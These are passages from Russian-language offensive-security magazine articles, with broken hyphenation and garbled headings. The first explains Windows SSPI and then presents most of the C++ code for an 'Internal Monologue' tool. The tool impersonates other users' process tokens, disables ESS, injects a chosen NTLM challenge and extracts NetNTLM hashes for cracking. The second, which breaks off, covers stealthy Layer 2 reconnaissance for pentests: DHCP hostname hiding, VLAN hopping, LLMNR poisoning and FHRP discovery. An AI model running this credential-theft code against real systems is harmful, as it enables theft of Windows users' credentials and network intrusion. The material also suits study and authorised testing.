SSPI — это API для вызова заг ружен ных в сис тему SSP.

мою прош лую статью

ÐÅÊÂÈÇÈÒÛ, ÊÎÍÒÅÊÑÒ È ÁËÎÁÛ

SSPI соз дает так называ емые security blobs. По-рус ски — «эле мен ты
безопас ности» или «ком понен ты безопас ности», но офи циаль ного перево да
мне не попада лось, так что оста новим ся на «бло бах». Эти ми самыми бло- 
бами кли ент и сер вер обме нива ются по удоб ному для них про токо лу.

Что бы под готовить началь ные бло бы, кли ент получа ет хендл, ука зыва ющий
на его рек визиты. Под рек визита ми понима ется хендл на учет ные дан ные кли-
ента, с помощью которых он может, нап ример, прой ти аутен тифика цию
на служ бе. Получить рек визиты мож но с помощью .AcquireCredentialsHandle()

Пу тем обме на бло бами выс тра ивает ся кон текст. Кон текст — спе циаль ный
объ ект, который хра нит ся и на кли енте, и на сер вере. Кон текст — резуль тат
успешной аутен тифика ции кли ента на сер вере и в некото рых слу чаях — сер- 
вера на кли енте. С помощью выс тро енно го кон тек ста мож но исполь зовать
весь потен циал SSPI. Нап ример, мож но пос тро ить кон текст, получить хендл,
а затем шиф ровать переда ваемые меж ду кли ентом и сер вером сооб щения.
При чем сер вер смо жет рас шифро вать сооб щения, так как у него есть кон- 
текст, сге нери рован ный вмес те с кли ентом, на котором дан ные шиф руют ся.

Итак, для пос тро ения кон тек ста исполь зуют ся спе циаль ные фун кции
 и . Кон текст выс тра ивает ся

не сра зу. Если тре бует ся еще пару раз обме нять ся бло бами с сер вером
или кли ентом, то воз вра щает ся ошиб ка .

AcceptSecurityContext() InitializeSecurityContext()

SEC_I_CONTINUE_NEEDED
Ду маю, зву чит страш но. Давай визу али зиру ем. Пос тро ение кон тек ста

на сто роне кли ента выг лядит сле дующим обра зом.

SSPI на кли енте

Кли ент сна чала получа ет хендл на свои рек визиты с помощью фун кции
, затем начина ет выс тра ивать кон текст,

исполь зуя бло бы. Как толь ко фун кция  перес- 

тала воз вра щать , мож но счи тать, что кон текст выс- 
тро ен, и поль зовать ся все ми фун кци ями SSPI.

AcquireCredentialsHandle()
InitializeSecurityContext()

SEC_I_CONTINUE_NEEDED

На сто роне сер вера про исхо дит поч ти то же самое, толь ко вмес то
 исполь зует ся фун кция

.

InitializeSecurityContext()
AcceptSecurityContext()

SSPI на сер вере

Сер вер тоже получа ет хендл на свои рек визиты и точ но так же вза имо дей- 
ству ет с бло бами. Пос ле пос тро ения кон тек ста в некото рых слу чаях допол- 
нитель но вызыва ется фун кция , которая поз воля- 
ет заимс тво вать пра ва кли ента.

ImpersonateSecurityContext()

ÈÇÂÅÑÒÍÛÅ ÀÒÀÊÈ

Те перь, бег ло озна комив шись с SSPI, мож но перехо дить к экс плу ата ции. Есть
четыре основных вида атак:

Internal Monologue — выс тра иваем кон текст с помощью SSPI, исполь зуя
NTLMSSP. Извле каем NetNTLM-хеш поль зовате ля;

•

TGT Delegation — выс тра иваем кон текст с помощью SSPI, исполь зуя
Kerberos. При чем кон текст выс тра иваем на машину с неог раничен ным
делеги рова нием, что поз воля ет из AP-REQ-пакета дос тать TGT-билет
поль зовате ля;

•

об ход UAC с помощью SSPI Datagram Contexts. На GitHub есть ;• PoC
LPE через под мену одно го кон тек ста дру гим. Под робнее — . Уяз- 
вимость получи ла номер CVE-2023-21746.

• на GitHub

Я поз наком лю тебя с пер вым вари антом. Про TGT Delegation мож но про- 
читать в статье « ».Экс плу ати руем TGT Delegation в Active Directory

Продолжение статьи →

https://t.me/Michaelzhm
https://xakep.ru/2023/03/15/windows-password/
https://learn.microsoft.com/en-us/windows/win32/secauthn/acquirecredentialshandle--general
https://learn.microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-acceptsecuritycontext
https://learn.microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-initializesecuritycontexta
https://learn.microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-impersonatesecuritycontext
https://github.com/antonioCoco/SspiUacBypass
https://github.com/Muhammad-Ali007/LocalPotato_CVE-2023-21746/tree/main
https://xakep.ru/2023/06/14/tgt-delegation/
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ÂÍÓÒÐÅÍÍÈÉ ÌÎÍÎËÎÃ

Эту ата ку при думал иссле дова тель . Прин цип ее зак люча ется
в том, что бы зарегис три ровать свое при ложе ние и как кли ент, и как сер вер.
Затем прой ти аутен тифика цию, исполь зуя NTLMSSP. Пос ле успешной аутен- 
тифика ции сер верная часть нашей прог раммы получит NetNTLM-хеш поль- 
зовате ля. Кли ент ская часть прог раммы сге нери рует этот хеш по задан ному
сер вером чел лен джу.

Элад Шамир

Мо жем начинать писать экс пло ит! Что бы было удоб нее, я выложил пол ный
код про екта . А PoC Эла да Шамира можешь гля нуть 

.
на GitHub в его репози- 

тории
Нач нем с режимов. В инс тру мен те я пре дус мотрел два фла га — 

 и . Работать тул за будет, толь ко если запус кать ее от лица

более-менее при виле гиро ван ного поль зовате ля. Пер вый флаг поз воля ет
понизить уро вень аутен тифика ции до уров ня NetNTLMv1. Эта вер сия чуть
более прос то бру тит ся. Вто рой флаг дает воз можность получить NetNTLM-
хеш вла дель ца опре делен ного про цес са. Нап ример, если в сис теме есть
про цесс , запущен ный от лица , то получит ся дос тать NetNTLM-
хеш это го поль зовате ля.

-
downgrade -pid

cmd.exe user

Ес ли дос таточ ных при виле гий нет, то прос то получим NetNTLM-хеш
текуще го поль зовате ля. Если на сис теме раз решен NetNTLMv1, то ито говый
хеш будет пер вой вер сии; если не раз решен, то вто рой.

Нач нем с получе ния рек визитов. Как я уже говорил, для это го исполь зует- 
ся фун кция .AcquireCredentialsHandle()

Вы зыва ем ее сле дующим обра зом.

   SECURITY_STATUS status = AcquireCredentialsHandleW(
  (LPWSTR)response.UserName.c_str(),
  (LPWSTR)L"NTLM",
  SECPKG_CRED_BOTH,
  NULL,
  NULL,
  NULL,
  NULL,
  &_hCred,
  &ClientLifeTime
);

Пер вым аргу мен том ука зыва ем имя поль зовате ля, чьи рек визиты хотим
получить. Имя поль зовате ля я ранее занес в спе циаль ный класс

.InternalMonologueResponse

  class InternalMonologueResponse {
public:

   std::wstring Challenge = L"";
   std::wstring Resp1 = L"";
   std::wstring Resp2 = L"";
   std::wstring Domain = L"";
   std::wstring UserName = L"";
   std::wstring UsernameWithoutDomain = L"";

  void Print() {
            

          
std::wcout << UsernameWithoutDomain << L"::" << Domain << L":" <<

Resp1 << L":" << Resp2 << L":" << Challenge << std::endl;
}
};

Так как в нашей прог рамме пре дус мотре но получе ние NetNTLM чужих поль- 
зовате лей, нуж но будет получить имя поль зовате ля через токен текуще го
потока.

  LPWSTR GetCurrentUsername() {
 HANDLE hToken;

    if (!OpenThreadToken(GetCurrentThread(), TOKEN_READ,FALSE, &hToken))
{
     if (!OpenProcessToken(GetCurrentProcess(), TOKEN_READ, &hToken))
     return (LPWSTR)L"";
}

   DWORD bufferSize = 0;
       

   
if (!GetTokenInformation(hToken, TokenUser, NULL, 0, &bufferSize) &&
GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
  CloseHandle(hToken);
   return (LPWSTR)L"";
}

   PTOKEN_USER pTokenUser = (PTOKEN_USER)malloc(bufferSize);
  if (!pTokenUser) {

  CloseHandle(hToken);
   return (LPWSTR)L"";
}

     
 

if (!GetTokenInformation(hToken, TokenUser, pTokenUser, bufferSize,
&bufferSize)) {
  free(pTokenUser);
  CloseHandle(hToken);
   return (LPWSTR)L"";
}

 WCHAR accountName[MAX_PATH];
 WCHAR domainName[MAX_PATH];
   DWORD accountNameSize = MAX_PATH;
   DWORD domainNameSize = MAX_PATH;

 SID_NAME_USE snu;

    
    

if (!LookupAccountSidW(NULL, pTokenUser->User.Sid, accountName, &
accountNameSize, domainName, &domainNameSize, &snu)) {
  free(pTokenUser);
  CloseHandle(hToken);
   return (LPWSTR)L"";
}

     std::wstring username = std::wstring(domainName) + L"\" + std::
wstring(accountName);

free(pTokenUser);
CloseHandle(hToken);

LPWSTR lpwstr = new WCHAR[username.length() + 1];
wcscpy_s(lpwstr, username.length() + 1, username.c_str());
return lpwstr;

}

Пос ле получе ния рек визитов (они упа ли в ) мож но начинать обмен

бло бами. Пока еще в кли ент ской час ти нашего при ложе ния вызыва ем
.

_hCred

InitializeSecurityContext()

  status = InitializeSecurityContextW(
  &_hCred,
  NULL,
  (LPWSTR)response.UserName.c_str(),
  ISC_REQ_CONNECTION,
  0,
  SECURITY_NATIVE_DREP,
  NULL,
  0,
  &_hClientContext,
  &ClientToken,
  &ContextAttributes,
  &ClientLifeTime
);

В эту фун кцию переда ется хендл на рек визиты и все то же имя поль зовате ля.
Фак тичес ки мы говорим, что хотим пос тро ить кон текст на самих себя. Сле- 
дующие зна чения стан дар тны для этой фун кции, нет смыс ла их пояс нять, они
опи саны .в докумен тации

Пос ле ини циали зации пер вично го бло ба (начала пос тро ения кон тек ста)
регис три руем сер верную часть нашего при ложе ния. Из фун кции

 нам вер нулись необ ходимые для пос тро ения
кон тек ста парамет ры, поэто му переда ем их в .

Дела ем вид, что мы как буд то переда ли эти бло бы на сер вер, а сер вер их
получил и начал обра баты вать.

InitializeSecurityContext()
AcceptSecurityContext()

  status = AcceptSecurityContext(
 &_hCred,
 NULL,
 &ClientToken,
   ISC_REQ_CONNECTION | ISC_REQ_ALLOCATE_MEMORY,
 SECURITY_NATIVE_DREP,
 &_hServerContext,
 &ServerToken,
 &ContextAttributes,
 &ClientLifeTime
 );

Убе див шись, что фун кция завер шена успешно, можем счи тать, что начало
есть. Фак тичес ки про изош ло сле дующее:

кли ент обра тил ся к сер веру с целью пос тро ения кон тек ста;•
сер вер при нял зап рос и готов обра баты вать все бло бы для пос тро ения
кон тек ста.

•

Ос тает ся лишь эму лиро вать отправ ку чел лен джа кли енту. В модели NTLMSSP
чел лендж — это циф ровое зна чение, которое поль зователь дол жен изме нить,
исполь зуя свой NTLM-хеш.

Для это го мы сна чала дол жны пре обра зовать блоб в поток бай тов. Он
пред став лен в моей прог рамме как , а пре обра зова ние
из струк туры  выпол няет ся с помощью фун кции

. Струк тура  опи сыва ет переда- 

ваемые бло бы.

std::vector<BYTE>
SecBufferDesc

GetSecByteBufferArray() SecBufferDesc

  std::vector <BYTE> serverMessage;
  serverMessage = GetSecBufferByteArray(&ServerToken);

   
 

std::vector<BYTE> GetSecBufferByteArray(const SecBufferDesc*
pSecBufferDesc) {

  if (!pSecBufferDesc) {
   throw std::invalid_argument("SecBufferDesc pointer cannot be null"
);
}

 std::vector<BYTE> buffer;

    if (pSecBufferDesc->cBuffers == 1) {
     SecBuffer* pSecBuffer = pSecBufferDesc->pBuffers;
        if (pSecBuffer->cbBuffer > 0 && pSecBuffer->pvBuffer) {
    buffer.resize(pSecBuffer->cbBuffer);
      memcpy(&buffer[0], pSecBuffer->pvBuffer, pSecBuffer->cbBuffer);
  }
}

 else {
     size_t bytesToAllocate = 0;

            for (unsigned int i = 0; i < pSecBufferDesc->cBuffers; ++i) {
      bytesToAllocate += pSecBufferDesc->pBuffers[i].cbBuffer;
  }

  buffer.resize(bytesToAllocate);
     BYTE* pBufferIndex = &buffer[0];

            for (unsigned int i = 0; i < pSecBufferDesc->cBuffers; ++i) {
       SecBuffer* pSecBuffer = &(pSecBufferDesc->pBuffers[i]);
          if (pSecBuffer->cbBuffer > 0 && pSecBuffer->pvBuffer) {

        memcpy(pBufferIndex, pSecBuffer->pvBuffer, pSecBuffer->
cbBuffer);

        pBufferIndex += pSecBuffer->cbBuffer;
    }
  }
}

 return buffer;
}

Те перь нуж но порабо тать с чел лен джем. То есть со зна чени ем, которое сер- 
вер отправ ляет кли енту. Чел лендж так же сле дует перевес ти в поток бай тов.

   std::vector<uint8_t> challengeBytes = StringToByteArray(challenge);

   std::vector<uint8_t> StringToByteArray(LPCWSTR hex) {
  std::wstring hexStr(hex);
    size_t length = hexStr.length();

       if (length % 2 == 1) {
    return std::vector<uint8_t>();
 }

    std::vector<uint8_t> arr(length >> 1);

            for (size_t i = 0; i < length >> 1; ++i) {
                  

            
uint8_t msb = (hexStr[i << 1] >= '0' && hexStr[i << 1] <= '9') ?

hexStr[i << 1] - '0' : std::toupper(hexStr[i << 1]) - 'A' + 10;
                  
               
     

uint8_t lsb = (hexStr[(i << 1) + 1] >= '0' && hexStr[(i << 1) + 1
] <= '9') ? hexStr[(i << 1) + 1] - '0' : std::toupper(hexStr[(i << 1)
+ 1]) - 'A' + 10;

         arr[i] = (msb << 4) + lsb;
 }

  return arr;
}

Фун кция выг лядит, конеч но, страш но, но умные люди под ска зали и более 
.

ак- 
курат ный вари ант

За тем сле дует не забывать про ESS. Extended Session Security — один
из механиз мов безопас ности для NetNTLMv1, нап равлен ный на усложне ние
брут форса этих хешей. В час тнос ти, он поз волял пре дот вра тить Rainbow-ата- 
ку на этот тип хешей, так как кли ент добав лял и свой чел лендж перед тем,
как сфор мировать ответ на сер вер. Это изме няет хеш, и про пада ет воз- 
можность поис ка это го хеша в заранее сге нери рован ной таб лице хеш —
пароль.

За вклю чение ESS отве чает все го один бит, поэто му прос то меня ем его
зна чение и отклю чаем ESS.

  if (DisableEss) {
     serverMessage[22] = (BYTE)(serverMessage[22] & 0xF7);
}

В SSPI очень мно го абс трак ций. Раз работ чику дос таточ но вызывать нуж ные
фун кции, что бы получить жела емый резуль тат, а раз бирать ся в глу боких осо- 
бен ностях про токо ла не тре бует ся. В слу чае NTLMSSP Windows уже авто- 
мати чес ки сге нери рова ла чел лендж, который сер вер дол жен отос лать кли- 
енту. Хотя будет пра виль нее ска зать даже не чел лендж, а пакет, который
содер жит всю необ ходимую информа цию, что бы кли ент ская сто рона, исполь- 
зуя свой NTLM-хеш, пре дос тавила ответ.

Но мы-то хотим исполь зовать собс твен ный чел лендж, а не сге нери рован- 
ный кем-то! Поэто му чел лендж нуж но заменить. К счастью, никаких под писей,
которые мог ли бы нам помешать, здесь нет. Поэто му прос то по рас счи тан- 
ным офсе там копиру ем наш чел лендж.

 ReplaceChallenge(serverMessage, challengeBytes);

    
  

void ReplaceChallenge(std::vector<uint8_t>& serverMessage, const std:
:vector<uint8_t>& challengeBytes) {
     

  
std::copy(challengeBytes.begin(), challengeBytes.begin() + 8,

serverMessage.begin() + 24);
       std::fill(serverMessage.begin() + 32, serverMessage.begin() + 48, 0
);
}

Де ло за малым. Дела ем вид, что кли ент получил этот пакет, вызыва ем
, и кли ент генери рует ответ на чел лендж.InitializeSecurityContext()

  status = InitializeSecurityContextW(
 &_hCred,
 &_hClientContext,
 (LPWSTR)response.UserName.c_str(),
 ISC_REQ_CONNECTION,
 0,
 SECURITY_NATIVE_DREP,
 &ServerToken,
 0,
 &_hClientContext,
 &ClientToken,
 &ContextAttributes,
 &ClientLifeTime
);

      if (status != SEC_E_OK && DisableEss) {
 vfree(ClientSecBuffer2.pvBuffer);
 vfree(ServerSecBuffer2.pvBuffer);
   return InternalMonologueForCurrentUser(challenge, false);
}

   std::vector<BYTE> result = GetSecBufferByteArray(&ClientToken);
 vfree(ClientSecBuffer2.pvBuffer); // Макрос для освобождения памяти. 

Нам эти буферы больше не нужны
vfree(ServerSecBuffer2.pvBuffer);

  ParseNTResponse(result, challenge, response);

Об рати вни мание, что фун кция может завер шить ся неус пешно. В таком слу- 
чае сле дует поп робовать сге нери ровать ответ, не отклю чая ESS.

Итак, оста ется лишь гра мот но рас парсить ответ. Для это го я написал
отдель ную фун кцию.

     
   

void ParseNTResponse(const std::vector<BYTE>& message, LPCWSTR
challenge, InternalMonologueResponse& result) {
     uint16_t lm_resp_len = *reinterpret_cast<const uint16_t*>(&message[
12]);
     uint32_t lm_resp_off = *reinterpret_cast<const uint32_t*>(&message[
16]);
     uint16_t nt_resp_len = *reinterpret_cast<const uint16_t*>(&message[
20]);
     uint32_t nt_resp_off = *reinterpret_cast<const uint32_t*>(&message[
24]);
     uint16_t domain_len = *reinterpret_cast<const uint16_t*>(&message[
28]);
     uint32_t domain_off = *reinterpret_cast<const uint32_t*>(&message[
32]);

  std::vector<BYTE> lm_resp(lm_resp_len);
  std::vector<BYTE> nt_resp(nt_resp_len);
  std::vector<BYTE> domain(domain_len);

      
   

std::copy(message.begin() + lm_resp_off, message.begin() +
lm_resp_off + lm_resp_len, lm_resp.begin());
      

   
std::copy(message.begin() + nt_resp_off, message.begin() +

nt_resp_off + nt_resp_len, nt_resp.begin());
      

   
std::copy(message.begin() + domain_off, message.begin() +

domain_off + domain_len, domain.begin());

   result.Challenge = challenge;
   result.UsernameWithoutDomain = SplitDomain(result.UserName);

     if (nt_resp_len == 24) {
     result.Domain = ConvertHex(byteArrayToString(domain));
     result.Resp1 = byteArrayToString(lm_resp);
     result.Resp2 = byteArrayToString(nt_resp);
 }
      else if (nt_resp_len > 24) {
     result.Domain = ConvertHex(byteArrayToString(domain));
      result.Resp1 = byteArrayToString(nt_resp).substr(0, 32);
     result.Resp2 = byteArrayToString(nt_resp).substr(32);
 }
}

В отве те по кон крет ным офсе там мож но про читать дли ну и сме щение всей
необ ходимой для нас информа ции. Оста ется лишь под готовить перемен ные,
которые будут содер жать поток бай тов, а затем кон верти ровать этот поток
в при выч ные для нас сим волы.

    std::wstring byteArrayToString(const std::vector<BYTE>& byteArray) {
  std::wstring result;
   result.reserve(byteArray.size() * 2);
      for (BYTE b : byteArray) {
    wchar_t buf[3];
     wsprintf(buf, L"%02X", b);
   result.append(buf);
 }

  return result;
}

И получа ем на руки NetNTLM-хеш, который мож но сме ло бру тить! А уж если
получи ли NetNTLM пер вой вер сии, то мож но для уве личе ния ско рос ти бру та
раз ложить на два DES-клю чика, . Либо можешь вос поль- 
зовать ся онлай новыми сер висами вро де  или .

со вету ет netmux
crack.sh shuck.sh

Итак, вре мя демонс тра ции! При запус ке инс тру мен та без каких-либо аргу- 
мен тов получа ем NetNTLM-хеш поль зовате ля.

По луче ние NetNTLM-хеша поль зовате ля

В начале статьи я рас ска зывал про аргу мент . Через него ука зыва ется

PID про цес са. Исполь зуя магию перевоп лощения, мож но получить NetNTLM-
хеш поль зовате ля — вла дель ца это го про цес са. Все сво дит ся к стан дар тной
манипу ляции с токена ми. Получа ем токен это го чужого про цес са и нацеп ляем
на себя.

-pid

   DWORD ApplyProcessToken(DWORD pid) {
 ImpersonateSelf(SecurityDelegation);
     

 
HANDLE procHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION,

FALSE, pid);

  HANDLE hSystemTokenHandle;
   OpenProcessToken(procHandle, TOKEN_DUPLICATE, &hSystemTokenHandle);

  HANDLE newTokenHandle;
    

  
DuplicateTokenEx(hSystemTokenHandle, TOKEN_ALL_ACCESS, NULL,

SecurityDelegation, TokenPrimary, &newTokenHandle);

 ImpersonateLoggedOnUser(newTokenHandle);
  return GetLastError();
}

А затем в той же пос ледова тель нос ти вызыва ем SSPI-фун кции. Вновь
перехо дим к демо. Находим PID про цес са, запущен ного от лица дру гого
поль зовате ля, и тащим хеш!

По луче ние чужого NetNTLM-хеша

ÂÛÂÎÄÛ

Встро енные в сис тему Windows механиз мы очень удоб ны для раз работ чика,
но некото рые из них могут без проб лем пре дос тавить выиг рыш и ата кующе- 
му, в чем мы, собс твен но, сегод ня и убе дились.

https://eladshamir.com/
https://github.com/MzHmO/NtlmThief
https://github.com/eladshamir/Internal-Monologue
https://learn.microsoft.com/en-us/windows/win32/secauthn/acquirecredentialshandle--general
https://learn.microsoft.com/en-us/windows/win32/secauthn/initializesecuritycontext--ntlm
https://learn.microsoft.com/ru-ru/windows/win32/api/sspi/ns-sspi-secbufferdesc
https://github.com/YuryStrozhevsky/XSEC/blob/e6e9bbeab88ab160631835f363797b1f37794f9f/lib/common.h#L122
https://twitter.com/netmux/status/1117805320246636544?s=46&t=TBm_wPJq3YjqWeNBaywHXg
https://crack.sh/cracking-ntlmv1-w-ess-ssp
https://shuck.sh/get-shucking.php
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ВЗЛОМ

Ата ки на Ethernet в рам ках пен теста дают
зна читель ный импакт, одна ко при ата ках
на каналь ном уров не есть боль шая веро- 
ятность оши бить ся и нарушить нор маль ную
работу сети. В этой статье я рас ска жу
о нюан сах сбо ра информа ции, тех никах
MITM и Ethernet-пивотин ге.

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

В мае 2022 года я выпус кал статью под наз вани ем , в которой
разоб рал ата ки на каналь ный уро вень. Перед тобой — ее «VIP-ремикс».
На этот раз я рас ска жу о при емах сбо ра информа ции об обо рудо вании
без шума в эфи ре, о том, как про водить MITM-ата ки безопас но, и об осо бен- 
ностях Ethernet-тун нелей при пивотин ге.

Ethernet Abyss

ÑÁÎÐ ÈÍÔÎÐÌÀÖÈÈ

L2 — это каналь ный уро вень компь ютер ной сети. Тут про исхо дит ком мутация
кад ров, сег мента ция сети. Ата ки каналь ного уров ня могут быть очень опас- 
ными, пос коль ку ата кующий, про ник нув в этот сег мент, спо собен нанес ти
боль шой урон. А про ник нуть он может либо если его туда пус тили, либо если
он обес печил себя L2-тун нелем.

Да вай погово рим о нюан сах сбо ра информа ции и о том, какие потен- 
циаль ные век торы атак смо жет открыть для себя ата кующий при пер вичном
ана лизе тра фика. Даль ше я буду активно поль зовать ся инс тру мен том ,
можешь тоже им обза вес тись.

Above

Ïåðâîå ïîäêëþ÷åíèå

Уже пос ле под клю чения к сетево му ком мутато ру ата кующий может соз дать
шум в эфи ре. Нап ример, авто мати чес ки активный NetworkManager с DHCP.
Рекомен дую не спе шить с активным DHCP, сде лай так, что бы хотя бы
интерфейс был в сос тоянии UP.

Так же сто ит заметить, что по DHCP переда ется имя устрой ства, которое
получи ло адрес авто мати чес ки. Вся эта информа ция будет хра нить ся
на DHCP-сер вере. Это доволь но неп рият ный рас клад для пен тесте ра, одна ко
переда чу хос тней ма по DHCP мож но вык лючить здесь:

1 sudo nano /etc/NetworkManager/system-connections/Wired\ connection\ 

[ipv4]
method=auto
dhcp-send-hostname=false

Пе реда ча hostname до кон фигура ции NM

Спря тан ный hostname сис темы пос ле кон фигура ции NM

Та ким обра зом мож но спря тать имя сис темы от DHCP-сер вера, прос то
не переда вать его через нас трой ки NetworkManager.

Discovery-ïðîòîêîëû

Discovery-про токо лы нуж ны для обме на информа цией меж ду устрой ства ми,
одна ко в боль шинс тве слу чаев сетевые девай сы нас тро ены так, что рас сылка
DP про исхо дит абсо лют но во все пор ты ком мутато ра, а это сни жает уро вень
сетевой безопас ности. Ата кующий, получив эти кад ры, смо жет узнать чувс- 
тви тель ную информа цию об обо рудо вании вро де вер сии про шив ки, модели
устрой ства, типа адре сации.

Ин форма ция о CDP, получен ная с помощью Above

Îáíàðóæåíèå 802.1Q-òåãîâ

802.1Q — стан дарт, име ющий отно шение к тегиро ванию ком мутаци онных
фрей мов. В кон тек сте ком мутато ра при раз биении сети VLAN на сег менты
исполь зуют ся два типа пор тов:

Access — порт в режиме дос тупа, обыч но он нас тра ивает ся на сто роне
конеч ных стан ций, что бы они име ли пер вичный дос туп к сети;

•

Trunk — при этом режиме про исхо дит инкапсу ляция Ethernet-кад ров.•

Ког да ата кующий впер вые под клю чает ся к ком мутато ру, не исклю чено, что он
ока жет ся имен но на Trunk-пор те, где тегиру ются фрей мы. Если дей стви тель- 
но так про изой дет, то пен тестер смо жет ока зать ся во всех VLAN-сег ментах,
к которым под клю чен ком мутатор. Вот при мер ные сце нарии, при которых
такое воз можно:

Ра бота ющий порт по умол чанию находит ся в кон тек сте ком мутато ра Cisco.
Там акти вен про токол DTP, при чем все пор ты работа ют в режиме Dynamic
Auto. Если ата кующий сге нери рует и отпра вит в сто рону такого пор та кадр
DTP Desirable, это при ведет к тому, что порт ата кующе го перек лючит ся
в транк.

•

Порт ком мутато ра для Voice VLAN нас тро ен небезо пас но. Я встре чал
такие слу чаи, в которых необ ходимо было под клю чить в раз рыв и VoIP-
телефон, и компь ютер и при этом порт ком мутато ра нас тра ивал ся
в режиме Trunk, хотя сто ило бы гра мот но нас тро ить VLAN Access
для компь юте ра и Voice VLAN для телефо на. Если ата кующий най дет такой
порт, фак тичес ки он уже пробь ется во все VLAN-сег менты.

•

Так что не будет лиш ним поис кать на пор те фрей мы 802.1Q, вдруг тебе удас- 
тся прыг нуть в осталь ные VLAN-сег менты. Такие мис конфи ги встре чают ся
на ком мутато рах, и ты слу чай но можешь ока зать ся на тран ке. Конеч но,
это ред кое явле ние, но я не мог не упо мянуть такой век тор.

При мер 802.1Q-тега в кад ре

Най ти фрей мы 802.1Q мож но, ана лизи руя тра фик с помощью инс тру мен та
HIVE. Дос таточ но запус тить его, ука зав два аргу мен та: интерфейс ата кующе- 
го и вре мя на ана лиз тра фика. Пос ле поис ка всех тегов инс тру мент авто мати- 
чес ки соз даст необ ходимые вир туаль ные интерфей сы для прыж ка в дру гие
VLAN-сег менты.

HIVE

Как видишь, HIVE поз волил ата кующе му прыг нуть в четыре сег мента VLAN.
Век тор край не ред кий, но иног да встре чает ся в кор поратив ных сетях.

LLMNR/NBT-NS Poisoning

От равле ние LLMNR/NBT-NS — одна из самых рас простра нен ных сетевых
атак. Она поз воля ет получить учет ные дан ные поль зовате ля Windows
в зашиф рован ном виде, а так же откры вает дорогу для про веде ния атак NTLM
Relay. Чаще все го для отравле ния зап росов LLMNR/NBT-NS исполь зуют ути- 
литу Responder.

Для такой ата ки нужен имен но L2-дос туп в целевой сети, пос коль ку зап-
росы дан ных про токо лов рас простра няют ся толь ко в рам ках широко веща- 
тель ных доменов. Либо ата кующий может прос то вот кнуть патч-корд в розет- 
ку, либо в кон тек сте сце нария пивотин га у него есть L2-тун нель.

Про токол LLMNR исполь зует муль тикас товый адрес 224.0.0.252, в NBNS
при меня ется широко веща тель ный тра фик, про ходя щий по UDP-пор ту 137,
а MDNS работа ет по адре су 224.0.0.251.

Инс тру мент Above поз волит обна ружить в тра фике эти про токо лы. Если
такое про изой дет, то ата кующий смо жет вос поль зовать ся век тором ата ки
LLMNR/NBT-NS Spoong и перех ватит учет ные дан ные.

ARP/NBNS-ðàçâåäêà

При запус ке ARP-ска ниро вания ты дол жен иметь в виду, что можешь ока зать
боль шую наг рузку на обо рудо вание, да и сис тема Storm Control подаст сиг- 
нал тре воги, если ты пре высишь порог допус тимого широко веща тель ного
тра фика. Ког да запус каешь инс тру мент, про водя щий ARP-ска ниро вание,
обя затель но нас трой его ско рость, то есть чис ло пакетов в секун ду.

Рас простра нен ные инс тру мен ты для L2-ска ниро вания — это netdiscover
и nbtscan. Рекомен дую вни матель но изу чить все нас трой ки и ста рать ся
не запус кать эти прог раммы в режиме «Халк кру шить».

Для netdiscover в качес тве пер вичной раз ведки хорошо выбирать Passive
ARP: инс тру мент в авто ном ном режиме будет ана лизи ровать все ARP-кад ры
вок руг себя и выс тра ивать спи сок хос тов.

sudo netdiscover -i eth0 -p

Ре зуль тат работы пас сивно го ARP

Îáíàðóæåíèå äèíàìè÷åñêîé ìàðøðóòèçàöèè

Про токо лы динами чес кой мар шру тиза ции исполь зуют ся в каж дой круп ной
кор поратив ной сети и при этом час то оста ются без вни мания с точ ки зре ния
безопас ности.

DRP-про токо лы исполь зуют муль тикас товую рас сылку, и, что бы доб рать ся
до пакетов этих про токо лов, ата кующе му необ ходим имен но L2-дос туп (либо
физичес кое под клю чение к сети, либо L2-тун нель пос ле мероп риятий
пивотин га). Нап ример, OSPF для муль тикас товой рас сылки исполь зует
адрес 224.0.0.5, а EIGRP — 224.0.0.10.

Ча ще все го DRP-пакеты ходят в поль зователь ских сег ментах баналь но
из-за того, что не заданы нас трой ки пас сивно го интерфей са. Ког да мар шру- 
тиза тор анон сиру ет ту или иную сеть, в ту же сеть отправ ляют ся эти пакеты
при ветс твия. Если ата кующий доберет ся до них, то смо жет под клю чить ся
к домену мар шру тиза ции, узнать о сущес тво вании тех или иных под сетей,
инъ екции мар шру тов и про чего.

Ре зуль тат обна руже ния EIGRP с помощью Above

Соб рав эту информа цию, ата кующий пой мет, что в сети исполь зует ся
динами чес кая мар шру тиза ция с небезо пас ными нас трой ками. Тог да он
может про вес ти ата ку на домен. Счи тай, еще один век тор для ата ки изнутри
сети.

Ес ли этих про токо лов нет в тра фике, зна чит, в сети нет динами чес кой мар- 
шру тиза ции либо нас тро ены пас сивные интерфей сы.

Îáíàðóæåíèå ñèñòåìû ðåçåðâèðîâàíèÿ

FHRP обес печива ют отка зоус той чивость на уров не мар шру тиза ции.
Основная идея зак люча ется в том, что бы объ еди нить нес коль ко мар шру тиза- 
торов в одну логичес кую груп пу. Внут ри нее будет вир туаль ный мар шру тиза- 
тор с вир туаль ным IP-адре сом, который будет наз начать ся как адрес шлю за
по умол чанию.

До мен FHRP может под вер гнуть ся спу финг-ата ке про тив Master-роуте ра,
при ори тет которо го менее 255. Ата кующий в таком слу чае смо жет стать
«челове ком посере дине» и перех ватывать тра фик всей сети, которую обслу- 
жива ют FHRP-спи керы.

В класс FHRP вхо дят сле дующие про токо лы:
HSRP (Hot Standby Redundancy Protocol);•
VRRP (Virtual Router Redundancy Protocol);•
GLBP (Gateway Load Balancing Protocol).•

Как и в слу чае с DRP-пакета ми, для обна руже ния FHRP тоже нужен L2-дос туп,
и этот про токол тоже исполь зует муль тикас товую рас сылку:

HSRP: 224.0.0.2, для вто рой вер сии 224.0.0.102 (UDP/1985);•
VRRP: 224.0.0.18;•
GLBP: 224.0.0.102 (UDP/3222).•

Ин форма ция о при сутс твии HSRP

Ин форма ция о при сутс твии VRRP

Та ким обра зом ата кующий получа ет информа цию о сис теме резер вирова ния
мар шру тиза ции и может про вес ти ата ку.

MITM

MITM-ата ки внут ри инфраструк туры самые мощ ные по импакту. MITM не толь- 
